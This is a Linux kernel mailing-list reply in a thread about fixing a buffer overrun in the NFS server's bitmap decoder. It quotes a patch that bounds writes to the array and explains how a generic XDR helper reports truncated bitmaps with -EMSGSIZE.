> > > --- a/fs/nfsd/nfs4xdr.c
> > > +++ b/fs/nfsd/nfs4xdr.c
> > > @@ -288,12 +288,8 @@ nfsd4_decode_bitmap4(struct
> > > nfsd4_compoundargs *argp, u32 *bmval, u32 bmlen)
> > >        p = xdr_inline_decode(argp->xdr, count << 2);
> > >        if (!p)
> > >                return nfserr_bad_xdr;
> > > -       i = 0;
> > > -       while (i < count)
> > > -               bmval[i++] = be32_to_cpup(p++);
> > > -       while (i < bmlen)
> > > -               bmval[i++] = 0;
> > > -
> > > +       for (i = 0; i < bmlen; i++)
> > > +               bmval[i] = (i < count) ? be32_to_cpup(p++) : 0;
> > >        return nfs_ok;
> > > }
> > > 
> > > This allows the client to send bitmaps larger than bmval[],
> > > as the old decoder did, and ensures that decode_bitmap()
> > > cannot write farther than @bmlen into the bmval array.
> > 
> > But I notice now that your tree has "NFSD: Replace
> > nfsd4_decode_bitmap4()", which does error out on large bitmaps.
> > (Noticed because pynfs checks for this case (see GATT4s and
> > similar) and
> > is seeing BADXDR returns).
> 
> D’oh! I can drop “Replace nfsd4_decode_bitmap4()” or we can update
> the generic helper to handle large bitmaps. Dropping the clean-up
> seems safer.
> 

The xdr_stream_decode_uint32_array() generic helper already handles
large bitmaps. It will decode as many entries as will fit in @array,
but return -EMSGSIZE to let you know that size was truncated.

IOW: you should treat -EMSGSIZE as a sign that @array_size elements
were actually decoded, rather than as a sign that no elements were
decoded.

-- 
Trond Myklebust
Linux NFS client maintainer, Hammerspace
trond.myklebust@hammerspace.com



^ permalink raw reply	[flat|nested] 10+ messages in thread

end of thread, other threads:[~2021-12-13  4:52 UTC | newest]

Thread overview: 10+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2021-11-13 20:58 NFS client can crash server due to overrun in nfsd4_decode_bitmap4() rtm
2021-11-13 21:06 ` Chuck Lever III
2021-11-13 21:25   ` Bruce Fields
2021-11-13 21:31     ` Chuck Lever III
2021-11-13 21:57       ` Bruce Fields
2021-11-14  2:44         ` Chuck Lever III
2021-12-13  2:10       ` Bruce Fields
2021-12-13  4:21         ` Chuck Lever III
2021-12-13  4:52           ` Trond Myklebust
2021-11-13 21:33 ` J. Bruce Fields

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.